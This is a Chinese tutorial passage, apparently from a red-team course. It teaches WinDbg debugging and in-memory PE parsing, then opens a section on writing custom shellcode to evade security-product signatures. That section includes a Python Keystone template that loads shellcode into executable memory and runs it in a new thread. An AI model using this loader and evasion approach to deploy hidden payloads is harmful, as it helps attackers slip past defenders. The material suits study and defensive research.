对于调用栈的检视也是检测恶意软件行为的方式之一，尤其是用于检测 **syscall** 的调用。因为我们之前说过，用户态应用程序很少会直接使用 syscall，一般是 **WinAPI -&gt; NTAPI -&gt; 内核**。恶意软件开发者会通过 syscall 的调用绕过安全产品的检视，但如果检视调用栈，会发现端倪：NTAPI 的前一链并非对应的 WINAPI。

##### **TEB 与 PEB** 

查看当前线程的 TEB/PEB，既可以执行命令 !teb/!peb，也可以使用 dt 命令查看。

```
1:001> !teb
TEB at 000000d59498e000
    ExceptionList:        0000000000000000
    StackBase:            000000d594e00000
    StackLimit:           000000d594dfc000
    SubSystemTib:         0000000000000000
    FiberData:            0000000000001e00
    ArbitraryUserPointer: 0000000000000000
    Self:                 000000d59498e000
    EnvironmentPointer:   0000000000000000
    ClientId:             0000000000007ad4 . 000000000000af5c
    RpcHandle:            0000000000000000
    Tls Storage:          0000022969a05290
    PEB Address:          000000d59498d000
    LastErrorValue:       0
    LastStatusValue:      c000000d
    Count Owned Locks:    0
    HardErrorMode:        0
1:001> dt ntdll!_TEB @$teb
   +0x000 NtTib            : _NT_TIB
   +0x038 EnvironmentPointer : (null) 
   +0x040 ClientId         : _CLIENT_ID
   +0x050 ActiveRpcHandle  : (null) 
   +0x058 ThreadLocalStoragePointer : 0x00000229`69a05290 Void
   +0x060 ProcessEnvironmentBlock : 0x000000d5`9498d000 _PEB
............
   +0x1838 LastSleepCounter : 0
   +0x1840 SpinCallCount    : 0
   +0x1844 Padding8         : [4]  ""
   +0x1848 ExtendedFeatureDisableMask : 0
```

使用 !teb 命令，我们可以更加容易看到当前线程的**栈的区间**。

##### **内存状态**

命令 ***!address &lt;内存地址&gt;*** 和 ***!vprot &lt;内存地址&gt;*** 可以显示有关给定内存地址的相关信息。**!address** 命令为我们提供有关特定内存地址或范围的详细信息，包括**内存区域的类型** (堆、堆栈、映像等)、**区域的大小**、**内存权限** (读、写、执行权限) 以及**内存的状态** (提交、保留、空闲)。 该命令显示的信息更加全面。

如果我们想快速地查看特定内存的权限和状态，**!vprot** 命令则更加直接和方便。

```
0:004> !address kernelbase!createprocessa

Usage:                  Image
Base Address:           00007ffb`7e3a1000
End Address:            00007ffb`7e530000
Region Size:            00000000`0018f000 (   1.559 MB)
State:                  00001000          MEM_COMMIT
Protect:                00000020          PAGE_EXECUTE_READ
Type:                   01000000          MEM_IMAGE
Allocation Base:        00007ffb`7e3a0000
Allocation Protect:     00000080          PAGE_EXECUTE_WRITECOPY
Image Path:             C:\Windows\System32\KERNELBASE.dll
Module Name:            KERNELBASE
Loaded Image Name:      C:\Windows\System32\KERNELBASE.dll
Mapped Image Name:      
More info:              lmv m KERNELBASE
More info:              !lmi KERNELBASE
More info:              ln 0x7ffb7e4257c0
More info:              !dh 0x7ffb7e3a0000


Content source: 1 (target), length: 10a840
0:004> !vprot kernelbase!createprocessa
BaseAddress:       00007ffb7e425000
AllocationBase:    00007ffb7e3a0000
AllocationProtect: 00000080  PAGE_EXECUTE_WRITECOPY
RegionSize:        000000000010b000
State:             00001000  MEM_COMMIT
Protect:           00000020  PAGE_EXECUTE_READ
Type:              01000000  MEM_IMAGE
```

##### **软件断点**  


断点用于暂停程序的执行，当在特定地址设置软件断点时，调试器会用 **int 3** 指令替换该地址处的指令，该指令在执行时会导致执行暂停。调试器还记录它替换的指令，并在到达断点时恢复原始指令。在 WinDBG 中，我们可以使用命令 ***bp &lt;地址&gt;*** 来在特定内存地址处设置软件断点，当到达断点处，程序会被暂停，我们从而可以检视这个时刻的程序运行状态。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/IqoRc75LVE8lBT7q-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/IqoRc75LVE8lBT7q-image.png)

此外，命令 bl 用于罗列所有断点，bc 用于清除断点，bd 用于暂时禁用断点，而 be 用于重新启用断点。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/OT5ZqGVS98HGKyf9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/OT5ZqGVS98HGKyf9-image.png)

WinDBG 也提供了查看断点的窗口：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/utixW5HOtlIp6cuk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/utixW5HOtlIp6cuk-image.png)

不过，有时候应用程序不会在运行时就自动载入所有的模块，而是在后续运行中载入，考虑如下代码：

```c++
#include <iostream>
#include <windows.h>

typedef void (*calc_export)();

void run()
{
    HMODULE hModule = LoadLibraryA("D:\\tooling\\dllcpp\\x64\\Release\\dllcpp.dll");
    calc_export calc_ptr = (calc_export)GetProcAddress(hModule, "calc_export");
    calc_ptr();
}


int main()
{
    run();
}
```

因此，如果我们试图给 **dllcpp!calc\_export** 设置断点，我们会被告知无法解析符号。对此，我们可以改用 **bu** 命令，表示给尚未解析的符号设置断点。

```
0:000> lm
start             end                 module name
00007ff6`68720000 00007ff6`68727000   dll_load C (private pdb symbols)  C:\ProgramData\Dbg\sym\dll_load.pdb\105D812B10354E099F90E97E006DF74A9\dll_load.pdb
00007ffb`63eb0000 00007ffb`63ecb000   VCRUNTIME140   (deferred)             
00007ffb`7de10000 00007ffb`7df21000   ucrtbase   (deferred)             
00007ffb`7e3a0000 00007ffb`7e743000   KERNELBASE   (deferred)             
00007ffb`7fd70000 00007ffb`7fe32000   KERNEL32   (deferred)             
00007ffb`80970000 00007ffb`80b84000   ntdll      (pdb symbols)          C:\ProgramData\Dbg\sym\ntdll.pdb\ACBBF75A6C22094871DD84500F4F58F91\ntdll.pdb
0:000> bp dllcpp!calc_export
Bp expression 'dllcpp!calc_export' could not be resolved, adding deferred bp
0:000> bc *
0:000> bu dllcpp!calc_export
0:000> g
*** WARNING: Unable to verify checksum for D:\tooling\dllcpp\x64\Release\dllcpp.dll
ModLoad: 00007ffb`13450000 00007ffb`13457000   D:\tooling\dllcpp\x64\Release\dllcpp.dll
Breakpoint 0 hit
dllcpp!calc_export:
00007ffb`13451000 4053            push    rbx

```

##### **单步执行**

在调试过程中，我们除了使用 g 来继续执行外，还可以单次执行下一条执行。那么，如果当前落入到**调用函数的这条指令**，下一步究竟是执行**调用函数的指令的下一条指令**，还是**函数内的第一条指令**呢？这就是命令 **p** 和命令 **t** 的区别**。**

编译如下代码，并用 WinDBG 执行。

```c++
#include <iostream>
#include <windows.h>



void fun(int num)
{
    printf("In function fun\n");
    if (num == 2)
    {
        printf("num = 2!\n");
    }
}


int main()
{
    int a = 1;
    int num = 2;
    if (a < 2)
    {
        fun(num);
    }

}
```

在编译时，我们需要**禁用优化**，因为我们使用了一些**常数**，编译器会**简化程序流程以提升性能**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/58lGtKCSR9rTL0xe-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/58lGtKCSR9rTL0xe-image.png)

反汇编后的主函数如下所示，我们单次执行到 **call step!fun** 指令。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/klbzkeWNgQl7Lq6W-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/klbzkeWNgQl7Lq6W-image.png)

使用命令 **p**，会执行调用函数的指令的下一条指令 **xor eax, eax**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/A9MKodwVlY1mvr1d-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/A9MKodwVlY1mvr1d-image.png)

而如果使用命令 **t**，会进入函数 fun 并且到达函数内的第 1 条指令 **mov \[rsp+8\], ecx**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/2EqNbtAMhc7ptGzJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/2EqNbtAMhc7ptGzJ-image.png)

当下一条指令并不是调用函数的指令，那么 p 与 t 效果相同。

##### **执行至**

我们已经知道了 **p** 的作用是执行下一条指令，实际上我们还可以指定调试器运行至**下一个分支**，或**下一个返回指令**。

使用 **ph** 指令，可以执行至下一个分支，如下图所示，执行到了 **jge step!main+0x24** 指令处。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/qrwrPhbOP6TGbGUv-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/qrwrPhbOP6TGbGUv-image.png)

而 **pt** 指令，可以执行至下一个返回指令，即 **ret** 指令处。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/kyJ0I8CxTjQuS9V6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/kyJ0I8CxTjQuS9V6-image.png)

### **解析 PE**

我们还可以使用 WinDBG 在内存中解析 PE 文件。PE 文件被映射到内存中以被执行，这是一个将文件的特定元素逐字节复制到内存中的过程，PE 格式包含了加载程序用来完成此操作的信息。

例如，**可选头**中的 **ImageBase** 包含映射在内存中的起始地址，**SectionAlignment** 包含内存中各节的对齐系数，**ImageSize** 包含整个映像所需的内存量等。可选头还包含**数据目录**，有着诸多重要数据结构的 RVA， 使得它们可以在内存中被快速定位到。同样，**节头**也包含重要信息，例如 **VirtualSize** 包含内存中该节的大小，**VirtualAddress** 表示其 RVA。

PE 格式的数据结构在磁盘上与在内存中基本相同，但也存在一些例外以及造成的重要差异。造成这些差异的原因有几个，第 1 个是当文件在磁盘和内存中时不同的**对其系数**，这意味着相同的数据可能位于磁盘和内存中的不同偏移处。第 2 个原因是**并非文件的所有元素都被映射到内存**。例如，调试信息可能就不会被映射到内存。此外，个别字段由加载程序更新，例如 **IAT 的条目**。尽管一些元素在内存中的偏移量可能与在磁盘上的偏移量不完全相同，但这些元素的**顺序**是一致的。

##### **PE 头**

载入一我们在之前内容中编译的文件，查看导入的模块列表：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/lDblxrNKc0QNvEAS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/lDblxrNKc0QNvEAS-image.png)

使用命令 ***dt ntdll!\_IMAGE\_DOS\_HEADER &lt;内存地址&gt;*** 检视主程序的 **DOS 头**

```
0:000> dt ntdll!_IMAGE_DOS_HEADER 00007ff7`cc8b0000
   +0x000 e_magic          : 0x5a4d
   +0x002 e_cblp           : 0x90
   +0x004 e_cp             : 3
   +0x006 e_crlc           : 0
   +0x008 e_cparhdr        : 4
   +0x00a e_minalloc       : 0
   +0x00c e_maxalloc       : 0xffff
   +0x00e e_ss             : 0
   +0x010 e_sp             : 0xb8
   +0x012 e_csum           : 0
   +0x014 e_ip             : 0
   +0x016 e_cs             : 0
   +0x018 e_lfarlc         : 0x40
   +0x01a e_ovno           : 0
   +0x01c e_res            : [4] 0
   +0x024 e_oemid          : 0
   +0x026 e_oeminfo        : 0
   +0x028 e_res2           : [10] 0
   +0x03c e_lfanew         : 0n240
```

0x3c 处的 **e\_lfanew** 值为十进制的 **240**，即 **0xf0**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/1YSPdUj4SXZoIWrg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/1YSPdUj4SXZoIWrg-image.png)

接着，查看 NT 头：**dt ntdll!\_IMAGE\_NT\_HEADERS64 &lt;内存地址&gt;**

```
0:000> dt ntdll!_IMAGE_NT_HEADERS64 00007ff7`cc8b0000+0xf0
   +0x000 Signature        : 0x4550
   +0x004 FileHeader       : _IMAGE_FILE_HEADER
   +0x018 OptionalHeader   : _IMAGE_OPTIONAL_HEADER64
```

我们可以用这样的方法继续检视其他部分：

```
0:000> dt ntdll!_IMAGE_OPTIONAL_HEADER64 00007ff7`cc8b0000+0xf0+0x18
   +0x000 Magic            : 0x20b
   +0x002 MajorLinkerVersion : 0xe ''
   +0x003 MinorLinkerVersion : 0x24 '$'
   +0x004 SizeOfCode       : 0xe00
   +0x008 SizeOfInitializedData : 0x1e00
   +0x00c SizeOfUninitializedData : 0
   +0x010 AddressOfEntryPoint : 0x1300
   +0x014 BaseOfCode       : 0x1000
   +0x018 ImageBase        : 0x00007ff7`cc8b0000
   +0x020 SectionAlignment : 0x1000
   +0x024 FileAlignment    : 0x200
   +0x028 MajorOperatingSystemVersion : 6
   +0x02a MinorOperatingSystemVersion : 0
   +0x02c MajorImageVersion : 0
   +0x02e MinorImageVersion : 0
   +0x030 MajorSubsystemVersion : 6
   +0x032 MinorSubsystemVersion : 0
   +0x034 Win32VersionValue : 0
   +0x038 SizeOfImage      : 0x7000
   +0x03c SizeOfHeaders    : 0x400
   +0x040 CheckSum         : 0
   +0x044 Subsystem        : 3
   +0x046 DllCharacteristics : 0x8160
   +0x048 SizeOfStackReserve : 0x100000
   +0x050 SizeOfStackCommit : 0x1000
   +0x058 SizeOfHeapReserve : 0x100000
   +0x060 SizeOfHeapCommit : 0x1000
   +0x068 LoaderFlags      : 0
   +0x06c NumberOfRvaAndSizes : 0x10
   +0x070 DataDirectory    : [16] _IMAGE_DATA_DIRECTORY
```

但 WinDBG 的 **!dh** 命令更加方便，我们可以轻松地检视 PE 的元素，WinDBG 已经帮我们计算好了各种需要偏移值

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/h1LIv0WybJVdSTk9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/h1LIv0WybJVdSTk9-image.png)

例如，我们可以使用命令 **!dh -f &lt;模块基址&gt;** 来检视**文件头**和**可选头**的信息：

```
0:000> !dh -f 00007ff7`cc8b0000

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
    8664 machine (X64)
       6 number of sections
64A36813 time date stamp Mon Jul  3 20:30:11 2023

       0 file pointer to symbol table
       0 number of symbols
      F0 size of optional header
      22 characteristics
            Executable
            App can handle >2gb addresses

OPTIONAL HEADER VALUES
     20B magic #
   14.36 linker version
     E00 size of code
    1E00 size of initialized data
       0 size of uninitialized data
    1300 address of entry point
    1000 base of code
         ----- new -----
00007ff7cc8b0000 image base
    1000 section alignment
     200 file alignment
       3 subsystem (Windows CUI)
    6.00 operating system version
    0.00 image version
    6.00 subsystem version
    7000 size of image
     400 size of headers
       0 checksum
0000000000100000 size of stack reserve
0000000000001000 size of stack commit
0000000000100000 size of heap reserve
0000000000001000 size of heap commit
    8160  DLL characteristics
            High entropy VA supported
            Dynamic base
            NX compatible
            Terminal server aware
       0 [       0] address [size] of Export Directory
    28BC [      A0] address [size] of Import Directory
    5000 [     1E0] address [size] of Resource Directory
    4000 [     168] address [size] of Exception Directory
       0 [       0] address [size] of Security Directory
    6000 [      30] address [size] of Base Relocation Directory
    23B0 [      70] address [size] of Debug Directory
       0 [       0] address [size] of Description Directory
       0 [       0] address [size] of Special Directory
       0 [       0] address [size] of Thread Storage Directory
    2270 [     140] address [size] of Load Configuration Directory
       0 [       0] address [size] of Bound Import Directory
    2000 [     1B0] address [size] of Import Address Table Directory
       0 [       0] address [size] of Delay Import Directory
       0 [       0] address [size] of COR20 Header Directory
       0 [       0] address [size] of Reserved Directory


```

与 PE Bear 中进行比对，我们发现数据是吻合的，但是 **Image Base** 并不相同，因为 PE Bear 中显示的是**偏好基址**，不一定是实际情况。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/FjGBUyK7uOb2834L-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/FjGBUyK7uOb2834L-image.png)

偏好基址的偏移应当是 **NT 头偏移 + 可选头偏移 + ImageBase 偏移**，即 **0xf0 + 0x18 + 0x18**，我们可以看到，该内存中的值确实是基址，然后模块的大小也确实是 **0x7000** 字节。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/gU7Q4h0kJAaGoP8A-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/gU7Q4h0kJAaGoP8A-image.png)

##### **PE 节**

接下来，我们来检视内存中的 PE 节，命令是 **!dh -s &lt;模块基址&gt;**。

```
0:000> !dh -s 00007ff7`cc8b0000

SECTION HEADER #1
   .text name
     D6C virtual size
    1000 virtual address
     E00 size of raw data
     400 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
60000020 flags
         Code
         (no align specified)
         Execute Read

SECTION HEADER #2
  .rdata name
     F84 virtual size
    2000 virtual address
    1000 size of raw data
    1200 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
40000040 flags
         Initialized Data
         (no align specified)
         Read Only


Debug Directories(4)
	Type       Size     Address  Pointer
	cv           51        24d4     16d4	Format: RSDS, guid, 16, D:\tooling\cpp_messagebox\x64\Release\cpp_messagebox.pdb
	(   12)      14        2528     1728
	(   13)     284        253c     173c
	(   14)       0           0        0

SECTION HEADER #3
   .data name
     758 virtual size
    3000 virtual address
     200 size of raw data
    2200 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
C0000040 flags
         Initialized Data
         (no align specified)
         Read Write

SECTION HEADER #4
  .pdata name
     168 virtual size
    4000 virtual address
     200 size of raw data
    2400 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
40000040 flags
         Initialized Data
         (no align specified)
         Read Only

SECTION HEADER #5
   .rsrc name
     1E0 virtual size
    5000 virtual address
     200 size of raw data
    2600 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
40000040 flags
         Initialized Data
         (no align specified)
         Read Only

SECTION HEADER #6
  .reloc name
      30 virtual size
    6000 virtual address
     200 size of raw data
    2800 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
42000040 flags
         Initialized Data
         Discardable
         (no align specified)
         Read Only

```

对照 PE Bear 中的数据，是吻合的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/2kmJFgrvNSMLiB44-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/2kmJFgrvNSMLiB44-image.png)

在可选头中，我们可以知道 .text 节的 RVA，是 **0x1000**。接着用 WinDBG 查看距离模块基址 0x1000 字节处的内容，我们发现与 PE Bear 中文件 .text 节的数据吻合。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/F9nS8MaXFHsrnZIU-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/F9nS8MaXFHsrnZIU-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/kj9hPkIsHX6CuP5k-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/kj9hPkIsHX6CuP5k-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/eNZRMRSIANqxn8Zn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/eNZRMRSIANqxn8Zn-image.png)

##### **导入与导出**

使用命令 **!dh -i &lt;模块基址&gt;** 查看当前进程主程序的**导入**信息：

```
0:000> !dh -i 00007ff7`cc8b0000
  _IMAGE_IMPORT_DESCRIPTOR 00007ff7cc8b28bc
    KERNEL32.dll
      00007FF7CC8B2000 Import Address Table
      00007FF7CC8B2960 Import Name Table
                     0 time date stamp
                     0 Index of first forwarder reference

       00007FFB7FD83EF0  5F1 VirtualAlloc
       00007FFB7FD906D0  602 WaitForSingleObject
       00007FFB7FD847B0   FB CreateThread
       00007FFB7FD85840  4F1 RtlLookupFunctionEntry
       00007FFB7FD83EA0  4F8 RtlVirtualUnwind
       00007FFB7FDAC700  5D8 UnhandledExceptionFilter
       00007FFB7FD88E30  597 SetUnhandledExceptionFilter
       00007FFB7FD90460  22A GetCurrentProcess
       00007FFB7FD89AC0  5B6 TerminateProcess
       00007FFB7FD87240  39E IsProcessorFeaturePresent
       00007FFB7FD869B0  28C GetModuleHandleW
       00007FFB7FD88220  397 IsDebuggerPresent
       00007FFB809E08C0  381 InitializeSListHead
       00007FFB7FD81230  301 GetSystemTimeAsFileTime
       00007FFB7FD72750  22F GetCurrentThreadId
       00007FFB7FD90470  22B GetCurrentProcessId
       00007FFB7FD80F80  464 QueryPerformanceCounter
       00007FFB7FD90290  4E9 RtlCaptureContext

 ............

  _IMAGE_IMPORT_DESCRIPTOR 00007ff7cc8b2934
    api-ms-win-crt-heap-l1-1-0.dll
      00007FF7CC8B20D0 Import Address Table
      00007FF7CC8B2A30 Import Name Table
                     0 time date stamp
                     0 Index of first forwarder reference

       00007FFB7DE39240   16 _set_new_mode


```

以导入的 **kernel32.dll** 模块为例，使用命令 **dds &lt;DLL 的 IAT 地址&gt;** 查看该 DLL 的 IAT，发现与 !dh 命令的输出吻合。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/mt488fDuVW2lxY46-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/mt488fDuVW2lxY46-image.png)

IAT 在磁盘与内存中的结构相同，我们可以得到 IAT 的偏移为 **IAT 的虚拟内存地址 - (模块基址 + rdata节 RVA) = 00007ff7`dc7f2000 - (00007ff7`dc7f0000+ 2000) = 0**。可能因为当前程序较为简单，因此 rdata 刚开始就是 IAT。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/o03eSPlZsFLf7soK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/o03eSPlZsFLf7soK-image.png)

在 PE Bear 中查看 IAT 表的第 1 个条目，因为 kernel32 模块的函数都是通过**名称**导入的，我们得到的是 **Hint/Name 表的 RVA**，这里是 **0x2b10**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/UXir3T3yL4ilZ3T8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/UXir3T3yL4ilZ3T8-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/obOWnpkXs3Emth6f-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/obOWnpkXs3Emth6f-image.png)

因为 Hint/Name 表的 Name 成员在 0x2 偏移处，因此函数的名称位于 **基址 + 2b10 +2** 处。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/o1h4DXzeVOvlcIcC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/o1h4DXzeVOvlcIcC-image.png)

接下来，我们来查看载入内存的 PE 文件的导出数据，以 kernel32 为例。

```
0:000> lm m kernel32
Browse full module list
start             end                 module name
00007ffb`7fd70000 00007ffb`7fe32000   KERNEL32   (pdb symbols)          C:\ProgramData\Dbg\sym\kernel32.pdb\7FB3DEE4119B1AEEB148EB77866A99371\kernel32.pdb
0:000> !dh -e 00007ffb`7fd70000
_IMAGE_EXPORT_DIRECTORY 00007ffb7fe0d560 (size: 0000e8f4)
Name: KERNEL32.dll 
Characteristics: 00000000 Ordinal base: 1.
Number of Functions: 1671. Number of names: 1671. EAT: 00007ffb7fe0d588.
   ordinal hint target           name
         1    0          AcquireSRWLockExclusive (forwarded to NTDLL.RtlAcquireSRWLockExclusive)
         2    1          AcquireSRWLockShared (forwarded to NTDLL.RtlAcquireSRWLockShared)
         3    2 00007FFB7FD88D90 ActivateActCtx
         4    3 00007FFB7FD84A50 ActivateActCtxWorker
         5    4 00007FFB7FD91580 ActivatePackageVirtualizationContext
         6    5 00007FFB7FDCA670 AddAtomA
         7    6 00007FFB7FD745E0 AddAtomW
         8    7 00007FFB7FD91290 AddConsoleAliasA
         9    8 00007FFB7FD912A0 AddConsoleAliasW
        10    9          AddDllDirectory (forwarded to api-ms-win-core-libraryloader-l1-1-0.AddDllDirectory)
        11   10 00007FFB7FDAC900 AddIntegrityLabelToBoundaryDescriptor
        12   11 00007FFB7FDCA790 AddLocalAlternateComputerNameA
        13   12 00007FFB7FDCA7F0 AddLocalAlternateComputerNameW
        14   13 00007FFB7FDAA860 AddRefActCtx
        15   14 00007FFB7FD87260 AddRefActCtxWorker
        16   15 00007FFB7FDAA880 AddResourceAttributeAce
        17   16 00007FFB7FD8F890 AddSIDToBoundaryDescriptor
        18   17 00007FFB7FDAA8A0 AddScopedPolicyIDAce
        19   18 00007FFB7FDA80D0 AddSecureMemoryCacheCallback
        20   19          AddVectoredContinueHandler (forwarded to NTDLL.RtlAddVectoredContinueHandler)
        21   20          AddVectoredExceptionHandler (forwarded to NTDLL.RtlAddVectoredExceptionHandler)
............
      1667 1666 00007FFB7FDA6970 uaw_wcschr
      1668 1667 00007FFB7FDA69A0 uaw_wcscpy
      1669 1668 00007FFB7FDA69E0 uaw_wcsicmp
      1670 1669 00007FFB7FDA6A00 uaw_wcslen
      1671 1670 00007FFB7FDA6A30 uaw_wcsrchr

```

根据之前的结论，我们定位到**导出目录的 RVA**，是 **0x9d560**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/eipSTADEQPvLra2V-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/eipSTADEQPvLra2V-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/Y76zprKdl6cbjVVI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/Y76zprKdl6cbjVVI-image.png)

接着，我们得到了**模块名称的 RVA** 进而得到**模块名称字符串**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/IyKCSMzTWg0jkOXI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/IyKCSMzTWg0jkOXI-image.png)

函数的数量，以及函数名称数量都为 687：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/mZuLVeQGKuawVyH9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/mZuLVeQGKuawVyH9-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/yLP3Zlm8XYoHqA5M-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/yLP3Zlm8XYoHqA5M-image.png)

得到 **EAT 的 RVA**，访问 EAT，并得到**第 1 个函数的 RVA**，依旧与 PE Bear 中显示的相同。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/lWfsOw69wlUDy8Vr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/lWfsOw69wlUDy8Vr-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/7Gh8r4tyfmC37l3m-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/7Gh8r4tyfmC37l3m-image.png)

得到 **ENPT 的 RVA**，并访问 ENPT，得到第 1 个函数名称的 RVA，进而得到该函数名称的字符串：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/t1EDCtkv7UaF2lyf-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/t1EDCtkv7UaF2lyf-image.png)

最后，得到**序数表的 RVA**，并访问序数表：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/OyVaV3mxfZIh24Gz-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/OyVaV3mxfZIh24Gz-image.png)

# Shellcode 编写 - 1

### **背景**

一般来说，如果我们需要执行 Shellcode，会通过各自的 **C2** 或者 **msfvenom** 来生成，但因为这些工具大部分都是开源的，即便是商业工具，也会因为样本的提交导致 Shellcode 的特征被标记。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/b92NrOJ0lEI3mX4a-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/b92NrOJ0lEI3mX4a-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/TnX6fxnnvhprX7W3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/TnX6fxnnvhprX7W3-image.png)

因此，编写自定义的 Shellcode 可以实现更多的灵活性以及特征规避，同时也很有趣。

### **测试方法**

使用 **Keystone** 引擎，可以让 Shellcode 的编写更加流畅。Keystone 是一个汇编框架，可以与多种语言绑定，包括 **Python**。这样的话，我们可以在 Python 脚本中写入汇编代码，然后让 Keystone 框架完成剩下的任务。

我们首先需要通过 pip 安装 keystone 引擎：

```bash
pip3 install keystone-engine
```

然后使用如下的脚本模板，我们需要做的是在 CODE 变量中写入汇编代码。之后，汇编代码会被转换为 Shellcode 并被 **CType** 库所调用的 API 执行。

```python
import ctypes, struct
from keystone import *

CODE = (
    " start:                             "  #
    "   int3                            ;"  #   Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!!
............
)


ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
```

我们在代码部分最开始加入了 **int 3** 指令，这样当 Shellcode 被执行时，暂停在最开始的地方，方便我们调试编写的 Shellcode。在命令行中运行该 Python 脚本，脚本的运行会被 **input** 函数暂停。

